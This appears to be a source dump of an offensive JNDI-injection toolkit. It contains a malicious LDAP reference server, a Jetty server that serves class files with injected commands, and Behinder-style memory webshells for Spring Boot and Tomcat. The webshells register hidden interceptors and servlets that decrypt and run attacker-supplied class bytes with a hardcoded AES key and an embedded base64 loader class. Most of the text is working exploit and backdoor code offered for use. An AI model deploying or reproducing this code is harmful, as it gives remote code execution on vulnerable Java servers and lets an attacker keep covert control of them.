103 | | JDK8u191 | 2.5.14 | Apache Tomcat/9.0.63 | ❌ | 104 | 105 | 106 | 107 | ## 待实现 108 | 109 | - 添加~~filter~~、~~Interceptor~~类型的内存马。 110 | - ~~融合groovy的bypass RCE到项目中。~~ 111 | - 更新weblogic以及其他中间件的内存马注入环境 112 | - 增加注入哥斯拉内存马的模块 113 | - 加入websocket内存马 114 | - 增加LDAP反序列化利用场景,最好能有利用链探测哈哈 115 | 116 | 喜欢的朋友可以帮忙点一个Star。 :) 117 | 118 | ## 关于我 119 | 120 | ![公众号](https://raw.githubusercontent.com/MUYU212/JNDI-Injection-Memshell/main/screenshot/7.jpg) 121 | 122 | ## Star History 123 | 124 | [![Star History Chart](https://api.star-history.com/svg?repos=MUYU212/JNDI-Injection-Memshell&type=Date)](https://star-history.com/#MUYU212/JNDI-Injection-Memshell&Date) 125 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | Red256 8 | JNDI-Injection-Memshell 9 | 1.0-SNAPSHOT 10 | 11 | 12 | UTF-8 13 | 8.1.9.v20130131 14 | 1.8 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | org.ow2.asm 24 | asm 25 | 7.1 26 | 27 | 28 | org.springframework.boot 29 | spring-boot-starter-web 30 | 2.0.1.RELEASE 31 | 32 | 33 | org.slf4j 34 | slf4j-nop 35 | 36 | 37 | 38 | 39 | org.javassist 40 | javassist 41 | 3.19.0-GA 42 | 43 | 44 | 45 | org.reflections 46 | reflections 47 | 0.9.9 48 | 49 | 50 | 51 | org.apache.commons 52 | commons-lang3 53 | 3.4 54 | 55 | 56 | 57 | commons-cli 58 | commons-cli 59 | 1.3 60 | 61 | 62 | 63 | 64 | 65 | com.unboundid 66 | unboundid-ldapsdk 67 | 3.1.1 68 | 69 | 70 | 71 | 72 | org.eclipse.jetty.aggregate 73 | jetty-webapp 74 | ${jetty.version} 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | org.apache.tomcat 86 | tomcat-catalina 87 | 8.5.38 88 | 89 | 90 | org.apache.tomcat 91 | tomcat-jasper-el 92 | 8.5.38 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | junit 103 | junit 104 | 4.12 105 | test 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | org.apache.maven.plugins 115 | maven-compiler-plugin 116 | 117 | ${compiler.version} 118 | ${compiler.version} 119 | 120 | 121 | 122 | 123 | maven-assembly-plugin 124 | 2.5.5 125 | 126 | ${project.artifactId}-${project.version}-all 127 | false 128 | 129 | jar-with-dependencies 130 | 131 | 132 | 133 | run.ServerStart 134 | 135 | 136 | 137 | 138 | 139 | make-assembly 140 | package 141 | 142 | single 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /src/main/java/jndi/LDAPRefServer.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package jndi; 24 | 25 | 26 | import java.net.InetAddress; 27 | import java.net.MalformedURLException; 28 | import java.net.URL; 29 | 30 | import javax.net.ServerSocketFactory; 31 | import javax.net.SocketFactory; 32 | import javax.net.ssl.SSLSocketFactory; 33 | 34 | import com.unboundid.ldap.listener.InMemoryDirectoryServer; 35 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 36 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 37 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 38 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; 39 | import com.unboundid.ldap.sdk.*; 40 | import util.Mapper; 41 | 42 | import static run.ServerStart.getLocalTime; 43 | 44 | 45 | /** 46 | * LDAP jndi implementation returning JNDI references 47 | * 48 | * @author mbechler welkin 49 | * 50 | */ 51 | public class LDAPRefServer implements Runnable{ 52 | 53 | private static final String LDAP_BASE = "dc=example,dc=com"; 54 | private int port; 55 | private URL codebase_url; 56 | 57 | public LDAPRefServer(int port, URL codebase_url) { 58 | this.port = port; 59 | this.codebase_url = codebase_url; 60 | } 61 | 62 | @Override 63 | public void run () { 64 | // int port = 1389; 65 | 66 | // try { 67 | // Class.forName("util.Mapper"); 68 | // }catch (ClassNotFoundException e){ 69 | // e.printStackTrace(); 70 | // } 71 | 72 | // if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { 73 | // System.err.println(LDAPRefServer.class.getSimpleName() + " []"); //$NON-NLS-1$ 74 | // System.exit(-1); 75 | // } 76 | // else if ( args.length > 1 ) { 77 | // port = Integer.parseInt(args[ 1 ]); 78 | // } 79 | 80 | try { 81 | InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); 82 | config.setListenerConfigs(new InMemoryListenerConfig( 83 | "listen", //$NON-NLS-1$ 84 | InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ 85 | port, 86 | ServerSocketFactory.getDefault(), 87 | SocketFactory.getDefault(), 88 | (SSLSocketFactory) SSLSocketFactory.getDefault())); 89 | 90 | config.addInMemoryOperationInterceptor(new OperationInterceptor(this.codebase_url)); 91 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); 92 | System.out.println(getLocalTime() + " [LDAPSERVER] >> Listening on 0.0.0.0:" + port); //$NON-NLS-1$ 93 | ds.startListening(); 94 | 95 | } 96 | catch ( Exception e ) { 97 | e.printStackTrace(); 98 | } 99 | } 100 | 101 | private static class OperationInterceptor extends InMemoryOperationInterceptor { 102 | 103 | private URL codebase; 104 | 105 | 106 | /** 107 | * 108 | */ 109 | public OperationInterceptor ( URL cb ) { 110 | this.codebase = cb; 111 | } 112 | 113 | 114 | /** 115 | * {@inheritDoc} 116 | * 117 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) 118 | */ 119 | @Override 120 | public void processSearchResult ( InMemoryInterceptedSearchResult result ) { 121 | String base = result.getRequest().getBaseDN(); 122 | Entry e = new Entry(base); 123 | try { 124 | sendResult(result, base, e); 125 | } 126 | catch ( Exception e1 ) { 127 | e1.printStackTrace(); 128 | } 129 | 130 | } 131 | 132 | 133 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { 134 | 135 | String cbstring = this.codebase.toString(); 136 | String javaFactory = Mapper.references.get(base); 137 | 138 | if (javaFactory != null){ 139 | URL turl = new URL(cbstring + javaFactory.concat(".class")); 140 | System.out.println(getLocalTime() + " [LDAPSERVER] >> Send LDAP reference result for " + base + " redirecting to " + turl); 141 | e.addAttribute("javaClassName", "foo"); 142 | e.addAttribute("javaCodeBase", cbstring); 143 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ 144 | e.addAttribute("javaFactory", javaFactory); 145 | result.sendSearchEntry(e); 146 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); 147 | }else { 148 | System.out.println(getLocalTime() + " [LDAPSERVER] >> Reference that matches the name(" + base + ") is not found."); 149 | } 150 | } 151 | 152 | } 153 | } 154 | -------------------------------------------------------------------------------- /src/main/java/run/ServerStart.java: -------------------------------------------------------------------------------- 1 | package run; 2 | 3 | import ch.qos.logback.classic.Level; 4 | import ch.qos.logback.classic.Logger; 5 | import jetty.JettyServer; 6 | import jndi.LDAPRefServer; 7 | import jndi.RMIRefServer; 8 | import org.apache.commons.cli.*; 9 | import org.apache.commons.lang3.StringUtils; 10 | import org.slf4j.LoggerFactory; 11 | 12 | import java.io.IOException; 13 | import java.net.*; 14 | import java.text.DateFormat; 15 | import java.text.SimpleDateFormat; 16 | import java.util.Date; 17 | import java.util.Enumeration; 18 | 19 | import static util.Mapper.*; 20 | 21 | /** 22 | * @Classname run.ServerStart 23 | * @Description Start servers 24 | * @Author Welkin 25 | */ 26 | public class ServerStart { 27 | public static String addr = getLocalIpByNetcard(); 28 | 29 | //default ports 30 | public static int rmiPort = 1099; 31 | public static int ldapPort = 1389; 32 | private static int jettyPort = 8180; 33 | 34 | private URL codebase; 35 | 36 | private JettyServer jettyServer; 37 | private RMIRefServer rmiRefServer; 38 | private LDAPRefServer ldapRefServer; 39 | 40 | 41 | 42 | public static void main(String[] args) throws Exception{ 43 | Logger jettyLogger = (Logger) LoggerFactory.getLogger("org.eclipse.jetty"); 44 | jettyLogger.setLevel(Level.WARN); 45 | CommandLineParser parser = new DefaultParser(); 46 | CommandLine cmd = null; 47 | String shell = null; 48 | //default command 49 | String[] cmdArray = {"open","-a","Calculator"}; 50 | 51 | try{ 52 | cmd = parser.parse(cmdlineOptions(),args); 53 | }catch (Exception e){ 54 | System.err.println("Cmdlines parse failed."); 55 | System.exit(1); 56 | } 57 | if(cmd.hasOption("C")) { 58 | cmdArray = cmd.getOptionValues('C'); 59 | } 60 | if(cmd.hasOption("A")) { 61 | addr = cmd.getOptionValue('A'); 62 | } 63 | if(cmd.hasOption("S")){ 64 | //判断是否选择是注入内存马还是执行命令 65 | shell = cmd.getOptionValue('S'); 66 | } 67 | 68 | 69 | ServerStart servers = new ServerStart(new URL("http://"+ addr +":"+ jettyPort +"/"),StringUtils.join(cmdArray," "),shell); 70 | System.out.println("[ADDRESS] >> " + addr); 71 | System.out.println("[COMMAND] >> " + withColor(StringUtils.join(cmdArray," "),ANSI_BLUE)); 72 | Class.forName("util.Mapper"); 73 | 74 | System.out.println("----------------------------Server Log----------------------------"); 75 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Listening on 0.0.0.0:" + jettyPort); 76 | Thread threadJetty = new Thread(servers.jettyServer); 77 | threadJetty.start(); 78 | 79 | System.out.println(getLocalTime() + " [RMISERVER] >> Listening on 0.0.0.0:" + rmiPort); 80 | Thread threadRMI = new Thread(servers.rmiRefServer); 81 | threadRMI.start(); 82 | 83 | Thread threadLDAP = new Thread(servers.ldapRefServer); 84 | threadLDAP.start(); 85 | 86 | } 87 | 88 | public ServerStart(String cmd) throws Exception{ 89 | this.codebase = new URL("http://"+ getLocalIpByNetcard() +":"+ jettyPort +"/"); 90 | 91 | jettyServer = new JettyServer(jettyPort,cmd); 92 | rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd); 93 | ldapRefServer = new LDAPRefServer(ldapPort,codebase); 94 | } 95 | 96 | public ServerStart(URL codebase, String cmd) throws Exception{ 97 | this.codebase = codebase; 98 | 99 | jettyServer = new JettyServer(jettyPort,cmd); 100 | rmiRefServer = new RMIRefServer(rmiPort, codebase, cmd); 101 | ldapRefServer = new LDAPRefServer(ldapPort,this.codebase); 102 | } 103 | 104 | public ServerStart(URL codebase,String cmd,String shell) throws IOException { 105 | this.codebase = codebase; 106 | jettyServer = new JettyServer(jettyPort,cmd,shell); 107 | rmiRefServer = new RMIRefServer(rmiPort,codebase,cmd,shell); 108 | ldapRefServer = new LDAPRefServer(ldapPort,this.codebase); 109 | } 110 | 111 | public static Options cmdlineOptions(){ 112 | Options opts = new Options(); 113 | Option c = new Option("C",true,"The command executed in remote .class."); 114 | c.setArgs(Option.UNLIMITED_VALUES); 115 | opts.addOption(c); 116 | Option addr = new Option("A",true,"The address of server(ip or domain)."); 117 | opts.addOption(addr); 118 | Option shell = new Option("S",true,"The memshell to inject"); 119 | opts.addOption(shell); 120 | return opts; 121 | } 122 | 123 | /** 124 | * 直接根据第一个网卡地址作为其内网ipv4地址 125 | * 126 | * @return 127 | */ 128 | public static String getLocalIpByNetcard() { 129 | // try { 130 | // for (Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) { 131 | // NetworkInterface item = e.nextElement(); 132 | // for (InterfaceAddress address : item.getInterfaceAddresses()) { 133 | // if (item.isLoopback() || !item.isUp()) { 134 | // continue; 135 | // } 136 | // if (address.getAddress() instanceof Inet4Address) { 137 | // Inet4Address inet4Address = (Inet4Address) address.getAddress(); 138 | // return inet4Address.getHostAddress(); 139 | // } 140 | // } 141 | // } 142 | // return InetAddress.getLocalHost().getHostAddress(); 143 | // } catch (Exception e) { 144 | // throw new RuntimeException(e); 145 | // } 146 | return "127.0.0.1"; 147 | } 148 | 149 | /** 150 | * Get current time 151 | */ 152 | public static String getLocalTime(){ 153 | Date d = new Date(); 154 | DateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 155 | return sdf.format(d); 156 | } 157 | 158 | public static Boolean isLinux(){ 159 | return !System.getProperty("os.name").toLowerCase().startsWith("win"); 160 | } 161 | 162 | public static String withColor(String str,String color){ 163 | if (isLinux()) { 164 | return color + str + ANSI_RESET; 165 | } 166 | return str; 167 | } 168 | 169 | } 170 | -------------------------------------------------------------------------------- /src/main/java/jetty/JettyServer.java: -------------------------------------------------------------------------------- 1 | package jetty; 2 | 3 | import org.eclipse.jetty.server.Server; 4 | import org.eclipse.jetty.servlet.ServletHandler; 5 | import sun.misc.IOUtils; 6 | import util.StreamUtil; 7 | 8 | import javax.servlet.ServletException; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.io.*; 13 | import java.net.URLEncoder; 14 | 15 | import static run.ServerStart.getLocalTime; 16 | import static util.Transformers.insertCommand; 17 | 18 | /** 19 | * @Classname JettyServer 20 | * @Description HTTPServer supply .class file which execute command by Runtime.getRuntime.exec() 21 | * @Author welkin 22 | */ 23 | public class JettyServer implements Runnable{ 24 | private int port; 25 | private Server server; 26 | private static String command; 27 | 28 | private static String shell; 29 | 30 | private static boolean isMemshell = false; 31 | 32 | // public JettyServer(int port) { 33 | // this.port = port; 34 | // server = new Server(port); 35 | // command = "open /Applications/Calculator.app"; 36 | // } 37 | 38 | public JettyServer(int port,String cmd) { 39 | this.port = port; 40 | server = new Server(port); 41 | command = cmd; 42 | } 43 | 44 | public JettyServer(int port,String cmd,String shell){ 45 | this.port = port; 46 | server = new Server(port); 47 | command = cmd; 48 | shell = shell; 49 | } 50 | 51 | @Override 52 | public void run() { 53 | ServletHandler handler = new ServletHandler(); 54 | server.setHandler(handler); 55 | 56 | handler.addServletWithMapping(DownloadServlet.class, "/*"); 57 | try { 58 | server.start(); 59 | server.join(); 60 | }catch (Exception e){ 61 | e.printStackTrace(); 62 | } 63 | 64 | } 65 | 66 | @SuppressWarnings("serial") 67 | public static class DownloadServlet extends HttpServlet { 68 | public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ 69 | 70 | String filename = request.getRequestURI().substring(1); 71 | InputStream in = checkFilename(filename); 72 | ByteArrayInputStream bain = null; 73 | //这里其实就得做一个分支了,应该直接返回shell的字节码文件不能再动态生成了 74 | if(isMemshell){ 75 | try{ 76 | // byte[] bytes = IOUtils.readFully(in, -1, false); 77 | byte[] bytes = StreamUtil.readFully(in,true); 78 | bain = new ByteArrayInputStream(bytes); 79 | }catch (Exception e){ 80 | e.printStackTrace(); 81 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Memshell Byte array get failed."); 82 | } 83 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL()); 84 | response.setStatus(HttpServletResponse.SC_OK); 85 | response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8")); 86 | int len ; 87 | byte[] buffer = new byte[1024]; 88 | OutputStream out = response.getOutputStream(); 89 | if (bain != null){ 90 | while ((len = bain.read(buffer)) > 0) { 91 | out.write(buffer,0,len); 92 | } 93 | bain.close(); 94 | }else { 95 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!"); 96 | } 97 | }else{ 98 | byte[] transformed; 99 | if (in != null) { 100 | try { 101 | transformed = insertCommand(in,command); 102 | bain = new ByteArrayInputStream(transformed); 103 | 104 | }catch (Exception e){ 105 | e.printStackTrace(); 106 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Byte array build failed."); 107 | } 108 | 109 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Log a request to " + request.getRequestURL()); 110 | response.setStatus(HttpServletResponse.SC_OK); 111 | response.setHeader("content-disposition", "attachment;filename="+URLEncoder.encode(filename, "UTF-8")); 112 | 113 | int len ; 114 | byte[] buffer = new byte[1024]; 115 | OutputStream out = response.getOutputStream(); 116 | if (bain != null){ 117 | while ((len = bain.read(buffer)) > 0) { 118 | out.write(buffer,0,len); 119 | } 120 | bain.close(); 121 | }else { 122 | System.out.println(getLocalTime() + " [JETTYSERVER]>> Read file error!"); 123 | } 124 | }else { 125 | System.out.println(getLocalTime() + " [JETTYSERVER]>> URL("+ request.getRequestURL() +") Not Exist!"); 126 | } 127 | } 128 | } 129 | 130 | public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{ 131 | doGet(request, response); 132 | } 133 | } 134 | 135 | private static InputStream checkFilename(String filename){ 136 | String template; 137 | switch (filename){ 138 | case "ExecTemplateJDK7.class": 139 | template = "template/ExecTemplateJDK7.class"; 140 | break; 141 | case "ExecTemplateJDK8.class": 142 | template = "template/ExecTemplateJDK8.class"; 143 | break; 144 | case "BehinderServletShell.class": 145 | template = "BehinderServletShell.class"; 146 | isMemshell = true; 147 | break; 148 | case "TomcatServletShell.class": 149 | template = "TomcatServletShell.class"; 150 | isMemshell = true; 151 | break; 152 | case "SpringbootInterceptorShell.class": 153 | template = "SpringbootInterceptorShell.class"; 154 | isMemshell = true; 155 | break; 156 | case "SpringbootInterceptorBehinderShell.class": 157 | template = "SpringbootInterceptorBehinderShell.class"; 158 | isMemshell = true; 159 | break; 160 | case "TomcatFilterShell.class": 161 | template = "TomcatFilterShell.class"; 162 | isMemshell = true; 163 | break; 164 | case "BehinderFilterShell.class": 165 | template = "BehinderFilterShell.class"; 166 | isMemshell = true; 167 | break; 168 | // TODO:Add more 169 | default: 170 | return null; 171 | } 172 | return Thread.currentThread().getContextClassLoader().getResourceAsStream(template); 173 | 174 | } 175 | 176 | } 177 | -------------------------------------------------------------------------------- /JNDI-Injection-Memshell.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /src/main/java/shell/SpringbootInterceptorBehinderShell.java: -------------------------------------------------------------------------------- 1 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 2 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 5 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 6 | import org.springframework.web.context.WebApplicationContext; 7 | import org.springframework.web.context.request.RequestContextHolder; 8 | import org.springframework.web.servlet.HandlerInterceptor; 9 | import org.springframework.web.servlet.ModelAndView; 10 | import org.springframework.web.servlet.handler.AbstractHandlerMapping; 11 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; 12 | 13 | import javax.crypto.Cipher; 14 | import javax.crypto.spec.SecretKeySpec; 15 | import javax.servlet.http.HttpServletRequest; 16 | import javax.servlet.http.HttpServletResponse; 17 | import javax.servlet.http.HttpSession; 18 | import java.lang.reflect.Constructor; 19 | import java.lang.reflect.Field; 20 | import java.lang.reflect.Method; 21 | import java.util.ArrayList; 22 | import java.util.HashMap; 23 | import java.util.Map; 24 | 25 | public class SpringbootInterceptorBehinderShell extends AbstractTranslet implements HandlerInterceptor { 26 | 27 | private final String pa = "2028ea0825d3605d"; 28 | 29 | static { 30 | try { 31 | WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); 32 | RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class); 33 | Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); 34 | field.setAccessible(true); 35 | ArrayList adaptedInterceptors = (ArrayList) field.get(requestMappingHandlerMapping); 36 | SpringbootInterceptorBehinderShell memoryInterceptor = new SpringbootInterceptorBehinderShell("aaa"); 37 | adaptedInterceptors.add(memoryInterceptor); 38 | } catch (Exception e) { 39 | e.printStackTrace(); 40 | } 41 | } 42 | 43 | 44 | public SpringbootInterceptorBehinderShell(String test) { 45 | 46 | } 47 | 48 | @Override 49 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 50 | 51 | } 52 | 53 | @Override 54 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 55 | 56 | } 57 | 58 | @Override 59 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 60 | String shell = request.getHeader("shell"); 61 | if (shell.equals("Behinder")) { 62 | HttpSession session = request.getSession(); 63 | Map pageContext = new HashMap(); 64 | pageContext.put("session", session); 65 | pageContext.put("request", request); 66 | pageContext.put("response", response); 67 | ClassLoader loader = (ClassLoader) Thread.currentThread().getContextClassLoader(); 68 | response.setStatus(HttpServletResponse.SC_OK); 69 | if (request.getMethod().equals("POST")) { 70 | if (loader.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 71 | Class Lclass = loader.getClass().getSuperclass(); 72 | RushThere(Lclass, loader, session, request, pageContext); 73 | } else if (loader.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 74 | Class Lclass = loader.getClass().getSuperclass().getSuperclass(); 75 | RushThere(Lclass, loader, session, request, pageContext); 76 | } else { 77 | if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 78 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass(); 79 | RushThere(Lclass, loader, session, request, pageContext); 80 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 81 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 82 | RushThere(Lclass, loader, session, request, pageContext); 83 | } else if (loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) { 84 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 85 | RushThere(Lclass, loader, session, request, pageContext); 86 | } else { 87 | Class Lclass = loader.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass(); 88 | RushThere(Lclass, loader, session, request, pageContext); 89 | } 90 | } 91 | } 92 | return false; 93 | } 94 | return true; 95 | } 96 | 97 | @Override 98 | public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { 99 | HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); 100 | } 101 | 102 | @Override 103 | public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { 104 | HandlerInterceptor.super.afterCompletion(request, response, handler, ex); 105 | } 106 | 107 | 108 | public void RushThere(Class Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map pageContext) { 109 | byte[] bytecode = java.util.Base64.getDecoder().decode("yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"); 110 | try { 111 | java.lang.reflect.Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 112 | define.setAccessible(true); 113 | Class uclass = null; 114 | try { 115 | uclass = cl.loadClass("U"); 116 | } catch (ClassNotFoundException e) { 117 | uclass = (Class) define.invoke(cl, bytecode, 0, bytecode.length); 118 | } 119 | Constructor constructor = uclass.getDeclaredConstructor(ClassLoader.class); 120 | constructor.setAccessible(true); 121 | Object u = constructor.newInstance(this.getClass().getClassLoader()); 122 | Method Um = uclass.getDeclaredMethod("g", byte[].class); //获取g函数 123 | Um.setAccessible(true); 124 | String k = pa; 125 | session.setAttribute("u", k); 126 | Cipher c = Cipher.getInstance("AES"); 127 | c.init(2, new SecretKeySpec(k.getBytes(), "AES")); 128 | byte[] eClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine())); 129 | Class eclass = (Class) Um.invoke(u, eClassBytes); 130 | Object a = eclass.newInstance(); 131 | Method b = eclass.getDeclaredMethod("equals", Object.class); 132 | b.setAccessible(true); 133 | b.invoke(a, pageContext); 134 | return; 135 | } catch (Exception e) { 136 | e.printStackTrace(); 137 | } 138 | } 139 | } 140 | -------------------------------------------------------------------------------- /src/main/java/shell/BehinderServletShell.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.Container; 2 | import org.apache.catalina.Wrapper; 3 | import org.apache.catalina.core.ApplicationContext; 4 | import org.apache.catalina.core.StandardContext; 5 | import org.springframework.web.context.request.RequestContextHolder; 6 | import org.springframework.web.context.request.ServletRequestAttributes; 7 | 8 | import javax.crypto.Cipher; 9 | import javax.crypto.spec.SecretKeySpec; 10 | import javax.servlet.*; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | import javax.servlet.http.HttpSession; 14 | import java.io.IOException; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Method; 18 | import java.util.HashMap; 19 | import java.util.Map; 20 | 21 | public class BehinderServletShell implements Servlet { 22 | private final String pa = "2028ea0825d3605d"; 23 | 24 | static { 25 | try { 26 | //以下代码就是动态注册一个wrapper 27 | ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); 28 | HttpServletRequest request = attributes.getRequest(); 29 | ServletContext servletContext = request.getServletContext(); 30 | Field appctx = servletContext.getClass().getDeclaredField("context"); 31 | appctx.setAccessible(true); 32 | ApplicationContext applicationContext= (ApplicationContext)appctx.get(servletContext); 33 | Field stdctx = applicationContext.getClass().getDeclaredField("context"); 34 | stdctx.setAccessible(true); 35 | StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); 36 | BehinderServletShell behinderServlet = new BehinderServletShell(); 37 | Method createWrapper = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("createWrapper"); 38 | Wrapper greetWrapper = (Wrapper) createWrapper.invoke(standardContext); 39 | Method gname = Container.class.getDeclaredMethod("setName", String.class); 40 | gname.invoke(greetWrapper, "shell"); 41 | Method gload = Wrapper.class.getDeclaredMethod("setLoadOnStartup", int.class); 42 | gload.invoke(greetWrapper, 1); 43 | Method gservlet = Wrapper.class.getDeclaredMethod("setServlet", Servlet.class); 44 | gservlet.invoke(greetWrapper, behinderServlet); 45 | Method gclass = Wrapper.class.getDeclaredMethod("setServletClass", String.class); 46 | gclass.invoke(greetWrapper, behinderServlet.getClass().getName()); 47 | Method gchild = StandardContext.class.getDeclaredMethod("addChild", Container.class); 48 | gchild.invoke(standardContext, greetWrapper); 49 | Method gmap = StandardContext.class.getDeclaredMethod("addServletMappingDecoded", String.class, String.class, boolean.class); 50 | gmap.invoke(standardContext, "/shell", "shell", false); 51 | } catch (Exception hi) { 52 | hi.printStackTrace(); 53 